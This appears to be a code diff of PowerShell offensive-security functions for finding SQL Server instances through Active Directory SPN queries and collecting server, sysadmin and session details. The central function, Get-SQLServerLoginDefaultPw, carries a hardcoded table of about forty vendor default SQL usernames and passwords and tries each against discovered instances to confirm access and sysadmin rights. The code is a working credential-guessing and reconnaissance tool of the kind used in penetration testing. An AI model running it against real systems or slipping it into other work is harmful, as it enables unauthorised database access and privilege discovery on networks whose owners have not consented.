$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
} End {
$TblSysadminStatus
}
}
Function Get-SQLConnectionObject {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin {
if($DAC) {
$DacConn = 'ADMIN:'
} else {
$DacConn = ''
}
if(-not $Database) {
$Database = 'Master'
}
} Process {
if ( -not $Instance) {
$Instance = $env:COMPUTERNAME
}
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
if (-not $Username) {
$AuthenticationType = "Current Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
}
if ($username -like "*\*") {
$AuthenticationType = "Provided Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
}
if (($username) -and ($username -notlike "*\*")) {
$AuthenticationType = "Provided SQL Login"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
}
return $Connection
} End {
}
}
Function Get-SQLQuery {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server query.')]
[string]$Query,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[int]$TimeOut,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose,
[Parameter(Mandatory = $false,
HelpMessage = 'Return error message if exists.')]
[switch]$ReturnError
)
Begin {
$TblQueryResults = New-Object -TypeName System.Data.DataTable
} Process {
if($DAC) {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database
} else {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
}
$ConnectionString = $Connection.Connectionstring
$Instance = $ConnectionString.split(';')[0].split('=')[1]
if($Query) {
try {
$Connection.Open()
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
$Results = $Command.ExecuteReader()
$TblQueryResults.Load($Results)
$Connection.Close()
$Connection.Dispose()
} catch {
#Pass
}
} else {
Write-Output -InputObject 'No query provided to Get-SQLQuery function.'
Break
}
} End {
$TblQueryResults
}
}
Function Get-SQLServerInfo {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
$TblServerInfo = New-Object -TypeName System.Data.DataTable
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
return
}
$ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password |
Where-Object -FilterScript {
$_.SessionStatus -eq 'running'
} | Measure-Object -Line | Select-Object -Property Lines -ExpandProperty Lines
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin -eq 'Yes') {
$SysadminSetup = "
-- Get machine type
DECLARE @MachineType SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
@value_name = N'ProductType',
@value = @MachineType output
-- Get OS version
DECLARE @ProductName SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
@value_name = N'ProductName',
@value = @ProductName output"
$SysadminQuery = ' @MachineType as [OsMachineType],
@ProductName as [OSVersionName],'
} else {
$SysadminSetup = ''
$SysadminQuery = ''
}
$Query = " -- Get SQL Server Information
-- Get SQL Server Service Name and Path
DECLARE @SQLServerInstance varchar(250)
DECLARE @SQLServerServiceName varchar(250)
if @@SERVICENAME = 'MSSQLSERVER'
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
set @SQLServerServiceName = 'MSSQLSERVER'
END
ELSE
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
END
-- Get SQL Server Service Account
DECLARE @ServiceaccountName varchar(250)
EXECUTE master.dbo.xp_instance_regread
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
-- Get authentication mode
DECLARE @AuthenticationMode INT
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'LoginMode', @AuthenticationMode OUTPUT
-- Grab additional information as sysadmin
$SysadminSetup
-- Return server and version information
SELECT '$ComputerName' as [ComputerName],
@@servername as [Instance],
DEFAULT_DOMAIN() as [DomainName],
@SQLServerServiceName as [ServiceName],
@ServiceAccountName as [ServiceAccount],
(SELECT CASE @AuthenticationMode
WHEN 1 THEN 'Windows Authentication'
WHEN 2 THEN 'Windows and SQL Server Authentication'
ELSE 'Unknown'
END) as [AuthenticationMode],
CASE SERVERPROPERTY('IsClustered')
WHEN 0
THEN 'No'
ELSE 'Yes'
END as [Clustered],
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
serverproperty('Edition') as [SQLServerEdition],
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
$SysadminQuery
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
SYSTEM_USER as [Currentlogin],
'$IsSysadmin' as [IsSysadmin],
'$ActiveSessions' as [ActiveSessions]"
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
} End {
$TblServerInfo
}
}
Function Get-SQLServerLoginDefaultPw {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
# Table for output
$TblResults = New-Object -TypeName System.Data.DataTable
$TblResults.Columns.Add('Computer') | Out-Null
$TblResults.Columns.Add('Instance') | Out-Null
$TblResults.Columns.Add('Username') | Out-Null
$TblResults.Columns.Add('Password') | Out-Null
$TblResults.Columns.Add('IsSysAdmin') | Out-Null
# Create table for database of defaults
$DefaultPasswords = New-Object System.Data.DataTable
$DefaultPasswords.Columns.Add('Instance') | Out-Null
$DefaultPasswords.Columns.Add('Username') | Out-Null
$DefaultPasswords.Columns.Add('Password') | Out-Null
# Populate DefaultPasswords data table
$DefaultPasswords.Rows.Add("ACS","ej","ej") | Out-Null
$DefaultPasswords.Rows.Add("ACT7","sa","sage") | Out-Null
$DefaultPasswords.Rows.Add("AOM2","admin","ca_admin") | out-null
$DefaultPasswords.Rows.Add("ARIS","ARIS9","*ARIS!1dm9n#") | out-null
$DefaultPasswords.Rows.Add("AutodeskVault","sa","AutodeskVault@26200") | Out-Null
$DefaultPasswords.Rows.Add("BOSCHSQL","sa","RPSsql12345") | Out-Null
$DefaultPasswords.Rows.Add("BPASERVER9","sa","AutoMateBPA9") | Out-Null
$DefaultPasswords.Rows.Add("CDRDICOM","sa","CDRDicom50!") | Out-Null
$DefaultPasswords.Rows.Add("CODEPAL","sa","Cod3p@l") | Out-Null
$DefaultPasswords.Rows.Add("CODEPAL08","sa","Cod3p@l") | Out-Null
$DefaultPasswords.Rows.Add("CounterPoint","sa","CounterPoint8") | Out-Null
$DefaultPasswords.Rows.Add("CSSQL05","ELNAdmin","ELNAdmin") | Out-Null
$DefaultPasswords.Rows.Add("CSSQL05","sa","CambridgeSoft_SA") | Out-Null
$DefaultPasswords.Rows.Add("CADSQL","CADSQLAdminUser","Cr41g1sth3M4n!") | Out-Null
$DefaultPasswords.Rows.Add("DHLEASYSHIP","sa","DHLadmin@1") | Out-Null
$DefaultPasswords.Rows.Add("DPM","admin","ca_admin") | out-null
$DefaultPasswords.Rows.Add("DVTEL","sa","") | Out-Null
$DefaultPasswords.Rows.Add("EASYSHIP","sa","DHLadmin@1") | Out-Null
$DefaultPasswords.Rows.Add("ECC","sa","Webgility2011") | Out-Null
$DefaultPasswords.Rows.Add("ECOPYDB","e+C0py2007_@x","e+C0py2007_@x") | Out-Null
$DefaultPasswords.Rows.Add("ECOPYDB","sa","ecopy") | Out-Null
$DefaultPasswords.Rows.Add("Emerson2012","sa","42Emerson42Eme") | Out-Null
$DefaultPasswords.Rows.Add("HDPS","sa","sa") | Out-Null
$DefaultPasswords.Rows.Add("HPDSS","sa","Hpdsdb000001") | Out-Null
$DefaultPasswords.Rows.Add("HPDSS","sa","hpdss") | Out-Null
$DefaultPasswords.Rows.Add("INSERTGT","msi","keyboa5") | Out-Null
$DefaultPasswords.Rows.Add("INSERTGT","sa","") | Out-Null
$DefaultPasswords.Rows.Add("INTRAVET","sa","Webster#1") | Out-Null
$DefaultPasswords.Rows.Add("MYMOVIES","sa","t9AranuHA7") | Out-Null
$DefaultPasswords.Rows.Add("PCAMERICA","sa","pcAmer1ca") | Out-Null
$DefaultPasswords.Rows.Add("PCAMERICA","sa","PCAmerica") | Out-Null
$DefaultPasswords.Rows.Add("PRISM","sa","SecurityMaster08") | Out-Null
$DefaultPasswords.Rows.Add("RMSQLDATA","Super","Orange") | out-null
$DefaultPasswords.Rows.Add("RTCLOCAL","sa","mypassword") | Out-Null
$DefaultPasswords.Rows.Add("SALESLOGIX","sa","SLXMaster") | Out-Null
$DefaultPasswords.Rows.Add("SIDEXIS_SQL","sa","2BeChanged") | Out-Null
$DefaultPasswords.Rows.Add("SQL2K5","ovsd","ovsd") | Out-Null
$DefaultPasswords.Rows.Add("SQLEXPRESS","admin","ca_admin") | out-null
$DefaultPasswords.Rows.Add("STANDARDDEV2014","test","test") | Out-Null
$DefaultPasswords.Rows.Add("TEW_SQLEXPRESS","tew","tew") | Out-Null
$DefaultPasswords.Rows.Add("vocollect","vocollect","vocollect") | Out-Null
$DefaultPasswords.Rows.Add("VSDOTNET","sa","") | Out-Null
$DefaultPasswords.Rows.Add("VSQL","sa","111") | Out-Null
$PwCount = $DefaultPasswords | measure | select count -ExpandProperty count
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if (-not $Instance) {
$Instance = $env:COMPUTERNAME
}
# Grab only the instance name
$TargetInstance = $Instance.Split("\")[1]
# Bypass ports and default instances
if (-not $TargetInstance) {
"$Instance : No instance match found."
return
}
$TblResultsTemp = $DefaultPasswords | Where-Object { $_.instance -eq "$TargetInstance"}
if ($TblResultsTemp) {
"$Instance : Confirmed instance match."
} else {
"$Instance : No instance match found."
return
}
$CurrentUsername = $TblResultsTemp.username
$CurrentPassword = $TblResultsTemp.password
$LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose
if ($LoginTest) {
"$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword"
$SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin
$TblResults.Rows.Add(
$ComputerName,
$Instance,
$CurrentUsername,
$CurrentPassword,
$SysadminStatus
) | Out-Null
} else {
"$Instance : No credential matches were found."
}
} End {
ForEach ($Result in $TblResults) {
"Computer : " + $Result.Computer
"Instance : " + $Result.Instance
"Username : " + $Result.Username
"Password : " + $Result.Password
"IsSysAdmin : " + $Result.IsSysAdmin
""
}
}
}

View File

@ -0,0 +1,40 @@
function Start-TCPMonitor {
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[String]$TargetDomain,
[Parameter(Mandatory=$false)]
[Int]$CheckInterval=30
)
Function Get-ActiveTCPConnections {
try {
$TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties()
$Connections = $TCPProperties.GetActiveTcpConnections()
return $Connections
} catch {
Write-Error "Failed to get active connections. $_"
return @()
}
}
While(1){
$TargetDomainResolution = [System.Net.Dns]::GetHostAddresses("$TargetDomain")
$TargetIPs = New-Object System.Collections.ArrayList
foreach($i in $TargetDomainResolution ) {
$TargetIPs.Add($i.IPAddressToString.trim()) >$null 2>&1
}
$tcpConns = Get-ActiveTCPConnections
foreach($Connection in $tcpConns) {
foreach($IP in $TargetIPs) {
if( $Connection.RemoteEndPoint.Address.IPAddressToString -eq $IP ) {
"Host connected to $TargetDomain"
}
}
}
sleep($CheckInterval)
}
}

View File

@ -0,0 +1,260 @@
Function Get-DomainObject {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Domain user to authenticate with domain\user.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain password to authenticate with domain\user.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
[string]$DomainController,
[Parameter(Mandatory = $false,
HelpMessage = 'LDAP Filter.')]
[string]$LdapFilter = '',
[Parameter(Mandatory = $false,
HelpMessage = 'LDAP path.')]
[string]$LdapPath,
[Parameter(Mandatory = $false,
HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')]
[int]$Limit = 1000,
[Parameter(Mandatory = $false,
HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')]
[ValidateSet('Subtree','OneLevel','Base')]
[string]$SearchScope = 'Subtree'
)
Begin {
if($Username -and $Password) {
$secpass = ConvertTo-SecureString $Password -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass)
}
if ($DomainController) {
$objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname
if($LdapPath) {
$LdapPath = '/'+$LdapPath+','+$objDomain
$objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password
} else {
$objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password
}
$objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
} else {
$objDomain = ([ADSI]'').distinguishedName
if($LdapPath) {
$LdapPath = $LdapPath+','+$objDomain;$objDomainPath = [ADSI]"LDAP://$LdapPath"
} else {
$objDomainPath = [ADSI]''
}
$objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
}
$objSearcher.PageSize = $Limit
$objSearcher.Filter = $LdapFilter
$objSearcher.SearchScope = 'Subtree'
} Process {
try {
$objSearcher.FindAll() | % -Process {$_}
} catch {
"Error was $_"
$line = $_.InvocationInfo.ScriptLineNumber
"Error was in Line $line"
}
} End {
}
}
Function Get-DomainSpn {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Domain user to authenticate with domain\user.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain password to authenticate with domain\user.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
[string]$DomainController,
[Parameter(Mandatory = $false,
HelpMessage = 'Computer name to filter for.')]
[string]$ComputerName,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain account to filter for.')]
[string]$DomainAccount,
[Parameter(Mandatory = $false,
HelpMessage = 'SPN service code.')]
[string]$SpnService,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin {
if(-not $SuppressVerbose){'Getting domain SPNs...'}
$TableDomainSpn = New-Object -TypeName System.Data.DataTable
$null = $TableDomainSpn.Columns.Add('UserSid')
$null = $TableDomainSpn.Columns.Add('User')
$null = $TableDomainSpn.Columns.Add('UserCn')
$null = $TableDomainSpn.Columns.Add('Service')
$null = $TableDomainSpn.Columns.Add('ComputerName')
$null = $TableDomainSpn.Columns.Add('Spn')
$null = $TableDomainSpn.Columns.Add('LastLogon')
$null = $TableDomainSpn.Columns.Add('Description')
$TableDomainSpn.Clear()
} Process {
try {
$SpnFilter = ''
if($DomainAccount) {
$SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)"
}
if($ComputerName) {
$ComputerSearch = "$ComputerName`$"
$SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)"
}
$SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password
$SpnResults | % -Process {
[string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ')
[string]$SidString = $SidBytes -replace ' ', ''
$Spn = $_.properties.serviceprincipalname.split(',')
foreach ($item in $Spn) {
$SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
$SpnService = $item.split('/')[0]
if ($_.properties.lastlogon) {
$LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
} else {
$LastLogon = ''
}
$null = $TableDomainSpn.Rows.Add(
[string]$SidString,
[string]$_.properties.samaccountname,
[string]$_.properties.cn,
[string]$SpnService,
[string]$SpnServer,
[string]$item,
$LastLogon,
[string]$_.properties.description
)
}
}
} catch {
"Error was $_"
$line = $_.InvocationInfo.ScriptLineNumber
"Error was in Line $line"
}
} End {
if ($TableDomainSpn.Rows.Count -gt 0) {
$TableDomainSpnCount = $TableDomainSpn.Rows.Count
if(-not $SuppressVerbose) {
"$TableDomainSpnCount SPNs found on servers that matched search criteria."
}
Return $TableDomainSpn
} else {
'0 SPNs found.'
}
}
}
Function Get-SQLInstanceDomain {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Domain user to authenticate with domain\user.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain password to authenticate with domain\user.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
[string]$DomainController,
[Parameter(Mandatory = $false,
HelpMessage = 'Computer name to filter for.')]
[string]$ComputerName,
[Parameter(Mandatory = $false,
HelpMessage = 'Domain account to filter for.')]
[string]$DomainAccount,
[Parameter(Mandatory = $false,
HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')]
[switch]$CheckMgmt,
[Parameter(Mandatory = $false,
HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')]
[int]$UDPTimeOut = 3
)
Begin {
$TblSQLServerSpns = New-Object -TypeName System.Data.DataTable
$null = $TblSQLServerSpns.Columns.Add('ComputerName')
$null = $TblSQLServerSpns.Columns.Add('Instance')
$null = $TblSQLServerSpns.Columns.Add('DomainAccountSid')
$null = $TblSQLServerSpns.Columns.Add('DomainAccount')
$null = $TblSQLServerSpns.Columns.Add('DomainAccountCn')
$null = $TblSQLServerSpns.Columns.Add('Service')
$null = $TblSQLServerSpns.Columns.Add('Spn')
$null = $TblSQLServerSpns.Columns.Add('LastLogon')
$null = $TblSQLServerSpns.Columns.Add('Description')
} Process {
"Grabbing SPNs from the domain for SQL Servers (MSSQL*)..."
$TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose |
? -FilterScript { $_.service -like 'MSSQL*' }
"Parsing SQL Server instances from SPNs..."
$TblSQLServers | % -Process {
$Spn = $_.Spn
$Instance = $Spn.split('/')[1].split(':')[1]
$Value = 0
if([int32]::TryParse($Instance,[ref]$Value)) {
$SpnServerInstance = $Spn -replace ':', ','
} else {
$SpnServerInstance = $Spn -replace ':', '\'
}
$SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', ''
$null = $TblSQLServerSpns.Rows.Add(
[string]$_.ComputerName,
[string]$SpnServerInstance,
$_.UserSid,
[string]$_.User,
[string]$_.Usercn,
[string]$_.Service,
[string]$_.Spn,
$_.LastLogon,
[string]$_.Description)
}
if($CheckMgmt) {
"Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)..."
$TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose |
? -FilterScript { $_.ComputerName -like '*.*' } | select -Property ComputerName -Unique | sort -Property ComputerName
"Performing a UDP scan of management servers to obtain managed SQL Server instances..."
$TblMgmtSQLServers = $TblMgmtServers | select -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut
}
} End {
if($CheckMgmt) {
"Parsing SQL Server instances from the UDP scan..."
$Tbl1 = $TblMgmtSQLServers |
Select-Object -Property ComputerName, Instance |
Sort-Object -Property ComputerName, Instance
$Tbl2 = $TblSQLServerSpns |
Select-Object -Property ComputerName, Instance |
Sort-Object -Property ComputerName, Instance
$Tbl3 = $Tbl1 + $Tbl2
$InstanceCount = $Tbl3.rows.count
"$InstanceCount instances were found."
ForEach ($Row in $Tbl3){
"ComputerName : " + $Row.ComputerName
"Instance : " + $Row.Instance
""
}
$Tbl3
} else {
$InstanceCount = $TblSQLServerSpns.rows.count
"$InstanceCount instances were found."
ForEach ($Row in $TblSQLServerSpns) {
"ComputerName : " + $Row.ComputerName
"Instance : " + $Row.Instance
"DomainAccountSid : " + $Row.DomainAccountSid
"DomainAccount : " + $Row.DomainAccount
"DomainAccountCn : " + $Row.DomainAccountCn
"Service : " + $Row.Service
"Spn : " + $Row.Spn
"LastLogon : " + $Row.LastLogon
"Description : " + $Row.Description
""
}
$TblSQLServerSpns
}
}
}

View File

@ -0,0 +1,426 @@
Function Get-ComputerNameFromInstance {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance.')]
[string]$Instance
)
If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]}
else{$ComputerName = $env:COMPUTERNAME}
Return $ComputerName
}
Function Get-SQLConnectionObject {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Dedicated Administrator Connection (DAC).')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut = 1
)
Begin {
if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''}
if(-not $Database){$Database = 'Master'}
} Process {
if (-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection
if(-not $Username) {
$AuthenticationType = "Current Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1"
}
if ($username -like "*\*") {
$AuthenticationType = "Provided Windows Credentials"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut"
}
if (($username) -and ($username -notlike "*\*")) {
$AuthenticationType = "Provided SQL Login"
$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"
}
return $Connection
} End {
}
}
Function Get-SQLConnectionTest {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Connect using Dedicated Admin Connection.')]
[Switch]$DAC,
[Parameter(Mandatory = $false,
HelpMessage = 'Default database to connect to.')]
[String]$Database,
[Parameter(Mandatory = $false,
HelpMessage = 'Connection timeout.')]
[string]$TimeOut
)
Begin {
$TblResults = New-Object -TypeName System.Data.DataTable
$null = $TblResults.Columns.Add('ComputerName')
$null = $TblResults.Columns.Add('Instance')
$null = $TblResults.Columns.Add('Status')
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
if($DAC) {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database
} else {
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
}
try {
$Connection.Open()
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
$Connection.Close()
$Connection.Dispose()
} catch {
$ErrorMessage = $_.Exception.Message
"$Instance : Connection Failed."
"Error: $ErrorMessage"
}
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
} End {
$TblResults
}
}
Function Get-SQLSession {
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'PrincipalName.')]
[string]$PrincipalName
)
Begin {
$TblSessions = New-Object -TypeName System.Data.DataTable
$null = $TblSessions.Columns.Add('ComputerName')
$null = $TblSessions.Columns.Add('Instance')
$null = $TblSessions.Columns.Add('PrincipalSid')
$null = $TblSessions.Columns.Add('PrincipalName')
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
$null = $TblSessions.Columns.Add('SessionId')
$null = $TblSessions.Columns.Add('SessionStartTime')
$null = $TblSessions.Columns.Add('SessionLoginTime')
$null = $TblSessions.Columns.Add('SessionStatus')
if($PrincipalName) {
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
} else {
$PrincipalNameFilter = ''
}
} Process {
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
if(-not $Instance) {
$Instance = $env:COMPUTERNAME
}
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection) {
"$Instance : Connection Failed."
return
}
$Query = " USE master;
SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
security_id as [PrincipalSid],
login_name as [PrincipalName],
original_login_name as [OriginalPrincipalName],
session_id as [SessionId],
last_request_start_time as [SessionStartTime],
login_time as [SessionLoginTime],
status as [SessionStatus]
FROM [sys].[dm_exec_sessions]
ORDER BY status
$PrincipalNameFilter"
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
$TblResults | % -Process {
if ($NewSid) {
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
if ($NewSid.length -le 10) {
$Sid = [Convert]::ToInt32($NewSid,16)
} else {
$Sid = $NewSid
}
$null = $TblSessions.Rows.Add(
[string]$_.ComputerName,
[string]$_.Instance,
$Sid,
